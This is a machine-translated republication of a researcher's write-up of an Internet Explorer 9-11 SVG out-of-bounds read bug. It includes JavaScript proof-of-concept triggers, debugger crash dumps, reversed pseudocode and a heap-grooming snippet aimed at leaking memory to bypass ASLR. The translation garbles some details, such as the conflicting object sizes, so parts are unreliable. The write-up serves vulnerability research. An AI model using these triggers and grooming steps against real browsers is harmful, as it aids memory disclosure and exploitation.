From crash to vulnerability exploits: bypass aslr Vulnerability Analysis)

Source: Internet
Author: User
Tags polyline

From crash to vulnerability exploits: bypass aslr Vulnerability Analysis)

0 × 01 Introduction

This is an out-of-bounds read bug that exists in Internet Explorer 9-11. The vulnerability exists for nearly five years and was not found until April 2015. This is an interesting hole, at least I think so, because this vulnerability was rejected by Zero Day Initiative (ZDI) for nearly 4-5 times, it has been repeatedly stated that this bug cannot be used.

Using SVG fuzzer for testing, you can always capture the crash of this bug. First, this bug looks like a general UAF because it keeps trying to read invalid memory. However, after careful classification, it is found that this is a bug for cross-border reading. After I submitted the bug to ZDI, they refused because the bug will not be reproduced. Even if I prove that it is usable, they still believe that replying to this bug is not usable. I was busy with other projects, but I had some discussions with them. 3-4 months later, when I had time to look back at the bug, I decided it was a usable vulnerability.

0 × 02 crash

Vulnerability triggering is relatively simple.

function trigger() {    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');    polyLine.setAttributeNS(null, 'requiredFeatures', '\n');}

Note: You must enable page heap and Application Verifier to reproduce crash.

 

 

(778.18c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0000c0c0 ebx=00000005 ecx=00000000 edx=00000006 esi=0737f000 edi=0000002ceip=64c305d4 esp=060faf08 ebp=060faf24 iopl=0         nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206MSHTML!CDOMStringDataList::InitFromString+0x4b:64c305d4 0fb706          movzx   eax,word ptr [esi]       ds:0023:0737f000=????

As we can see, a read access memory conflict occurs when an invalid memory is referenced.

0 × 03 crash Analysis

Now let's take a look at what ESI points.

0:007> dc @esi0737f000  ???????? ???????? ???????? ????????  ????????????????0737f010  ???????? ???????? ???????? ????????  ????????????????0737f020  ???????? ???????? ???????? ????????  ????????????????0737f030  ???????? ???????? ???????? ????????  ????????????????0737f040  ???????? ???????? ???????? ????????  ????????????????0737f050  ???????? ???????? ???????? ????????  ????????????????0737f060  ???????? ???????? ???????? ????????  ????????????????0737f070  ???????? ???????? ???????? ????????  ????????????????

Nice and ESI seem to save other released or unallocated memory. Run! Heap-p-a command to see what it is.

 

0:007> !heap -p -a @esi    address 0737f000 found in    _DPH_HEAP_ROOT @ 161000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 73c1f70:          737eff0               10 -          737e000             2000    6f4a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77895ede ntdll!RtlDebugAllocateHeap+0x00000030    7785a40a ntdll!RtlpAllocateHeap+0x000000c4    77825ae0 ntdll!RtlAllocateHeap+0x0000023a    76afea43 ole32!CRetailMalloc_Alloc+0x00000016    76f44557 OLEAUT32!APP_DATA::AllocCachedMem+0x00000060    76f4476a OLEAUT32!SysAllocStringByteLen+0x0000003d    76f447bf OLEAUT32!ErrStringCopyNoNull+0x00000016    76f45dda OLEAUT32!VariantChangeTypeEx+0x00000a19    63e871b6 MSHTML!VariantChangeTypeSpecial+0x00000093    63f8581c MSHTML!CElement::SetAttributeFromPropDesc+0x00000069    63f857c3 MSHTML!CElement::ie9_setAttributeNSInternal+0x000003b0    64334301 MSHTML!CElement::setAttributeNS_Helper+0x00000069    6474d0fb MSHTML!CElement::Var_setAttributeNS+0x0000014a    64a65d9c MSHTML!CFastDOM::CElement::Trampoline_setAttributeNS+0x0000003c    63580fb6 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000018e    6357ed52 jscript9!Js::InterpreterStackFrame::Process+0x00001e72    6357f499 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200

Sad is not a UAF vulnerability. Run the UserAddr Dump command to find out what is saved.

0:007> dc 737eff00737eff0  00000002 0000000a c0c0c0c0 c0c0c0c0  ................0737f000  ???????? ???????? ???????? ????????  ????????????????0737f010  ???????? ???????? ???????? ????????  ????????????????0737f020  ???????? ???????? ???????? ????????  ????????????????0737f030  ???????? ???????? ???????? ????????  ????????????????0737f040  ???????? ???????? ???????? ????????  ????????????????0737f050  ???????? ???????? ???????? ????????  ????????????????0737f060  ???????? ???????? ???????? ????????  ????????????????

I wonder if you can notice that 0x737eff0 stores a very interesting value, for example, 0x0000000a. This value is actually a hexadecimal value of the Escape Character "\ n. Note that the memory is allocated by OLEAUT32 in the cache heap of OLEAUT32.

So the next step is to use IDA pro to view the MSHTML function! CDOMStringDataList: Init FromString. The problem lies in the internal function.

 

It took some time to reverse this special function, as shown below.

HRESULT __thiscall CDOMStringDataList::InitFromString(CDOMStringDataList *this, LPCWSTR lpCWStr){  SIZE_T strLen; // Used in different places differently  HRESULT hResult;  PWCHAR pCurChar;  CStr *pCStr;  PWCHAR pCurString;  CDOMStringDataList *pCDOMStringDataList;  int outString;   strLen = 0;  pCDOMStringDataList = this;  hResult = S_OK;  CDOMStringDataList::Clear(this);  pCurChar = (PWCHAR)lpCWStr;  while ( *pCurChar != (_WORD)strLen )  {    // Trim white spaces    while ( IsCharSpaceW(*pCurChar) )  ++pCurChar;    // Bail out if string starts with comma    if ( *pCurChar == ',' )      return E_FAIL;    pCurString = pCurChar;    do    {      ++pCurChar;      ++strLen;    }    while ( !IsCharSpaceW(*pCurChar) && *pCurChar != ',' && *pCurChar );    outString = NULL;    hResult = CImplAry::AppendIndirect<4>(pCDOMStringDataList, &outString, &pCStr);    if ( hResult < 0 || (hResult = CStr::Set(pCStr, (LPVOID)strLen, pCurString, strLen, 1), hResult < 0) )    {      CStr::_Free((CStr *)&outString);      return hResult;    }    while ( IsCharSpaceW(*pCurChar) )      ++pCurChar;    if ( *pCurChar == ',' )      ++pCurChar;    CStr::_Free((CStr *)&outString);    strLen = 0;  }  return hResult;}

Note: Do not trust IDA pro's disassembly code too much. Read the assembly code to check whether it is correct.

If you look at this function carefully, you can see the Bug. This bug does not properly handle line breaks ("\ n") and space breaks (""). Because of this bug, you can skip the judgment to read the NULL Terminator.

Because these specific strings are stored in the heap, we need to construct them in some adjacent heap blocks so that they can be used. However, you need to know whether the string is saved in the process heap or the isolation heap.

Dump the process heap and isolation heap handle.

0:007> ? poi(MSHTML!g_hProcessHeap)Evaluate expression: 1441792 = 00160000 0:007> ? poi(MSHTML!g_hIsolatedHeap)Evaluate expression: 104857600 = 06400000

From! In the output of heap-p-a, the value of _ DPH_HEAP_ROOT is 0 × 161000. Therefore, the requiredFeatures feature value is stored in the process heap instead of in the isolation heap.

 

0 × 04 key review

· You can set the feature value of requiredFeatures to trigger the cross-border read vulnerability.

· The feature values of requiredFeatures are stored in the process heap.

· The feature value of requiredFeatures is cached.

· The feature values of requiredFeatures can be set flexibly.

Now, modify the POC that triggers the vulnerability and set the feature value of requiredFeatures to \ n to test the memory.

function trigger() {    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');    polyLine.setAttributeNS(null, 'requiredFeatures', '\n\n\n\n\n\n\n\n\n');}

Before starting the POC, run the MSHTML function! CDOMStringDataList: InitFromString. When the breakpoint is disconnected, check the ESI register.

Note: you can disable Page Heaps and Application Verifier.

0:007> dc @esi L700569634  000a000a 000a000a 000a000a 000a000a  ................00569644  0000000a f4b352f6 00000000           .....R......

We can see that the number of requiredFeatures feature values dumped from the heap block is the same as the number of \ n values set in the POC. But I noticed 0xf4b352f6. Where does this value come from?

This value is used to properly fill the length.

Next, we need to find a way to read the requiredFeatures feature value. On the Mozilla developer's web page, we can see a SVGStringList interface. I know that these feature values can be read through getItem (in unsigned long index.

Cool, re-modify our POC and read the feature value of requiredFeatures.

function trigger() {    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');    polyLine.setAttributeNS(null, 'requiredFeatures', "Ashfaq\nAnsari");     var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";     for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {        message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\n";    }     alert(message);}

 

This proves that the feature values of requiredFeatures can be read through getItem (in unsigned long index.

0 × 05 vulnerability exploitation policies

· Sort out the process heap objects of the desired size.

· Make holes in the allocated memory.

· Reassign the feature values of requiredFeatures to the preceding holes.

· Trigger the vulnerability to read out-of-bounds memory.

· When a vulnerability is triggered and the browser cannot crash, it is repeatedly triggered until it is crash.

0 × 06 vulnerability exploitation challenges

· Find a fixed size value so that the length of this size will not be appended with other values.

· Find such an object of fixed size in the process heap.

· The feature value of requiredFeatures is cached.

· Enable memory protection by default.

· The NULL terminator in the adjacent HEAP_ENTRY structure will terminate the exploitation of the vulnerability.

0 × 07 vulnerability Exploitation

Now we know the strategies and challenges for exploiting this vulnerability. First, we need to find a fixed value to ensure that it will not be appended with other values.

After trying the requiredFeatures feature values of different lengths, the fixed size value 0x0 is found. This length value ensures that the requiredFeatures feature values are not supplemented by other values.

Note: Save the feature values of requiredFeatures in a format similar to BSTR. aspx.

Now, you need to find an object with the size of 0x0A0 from the process heap. After spending some time, I found a CDOMMSGestureEvent element in IDA Pro with the size of 0x0A0 and saved it in the process heap.

 

Note: IE9 does not support MSGestureEvent. Therefore, you must use different elements.

Another challenge is that the requiredFeatures feature value is Cached in OLEAUT32 Cached Heap during vulnerability exploitation. I tried the Plunger technique method of Alexander Sotirov's, but it failed. However, after multiple experiments, I found a simple method to use bypass ASLR.

for (i = 0; i < 0x50; i++) {    polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');    // Trick to bypass allocation on OLEAUT32 Cached Heap    polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString("A", 0x0A0));    polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString("\n", 0x0A0));}

Now we need to deal with the memory protection issues during vulnerability exploitation. Many good articles about memory protection can be found in our references.

In short, the memory-protected objects are not directly released. These objects will be released in a waiting queue until they reach a certain value, such as (100,000 bytes), and the released memory is not referenced on the stack.

The last challenge is how to read the NULL bytes in the HEAP_ENTRY struct through this cross-border read bug. I still don't understand why some heap blocks have NULL bytes and some heap blocks do not exist, even if these heap blocks are as large.

0 × 08 final exploitation

In The null-The Open Security Community, I also prepared a series of discussions from crash to exploit, and completed The first part of The work before I discussed a very similar bug.

For details about this vulnerability, refer to Github in the following references.

 

This is just the beginning, not the end.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.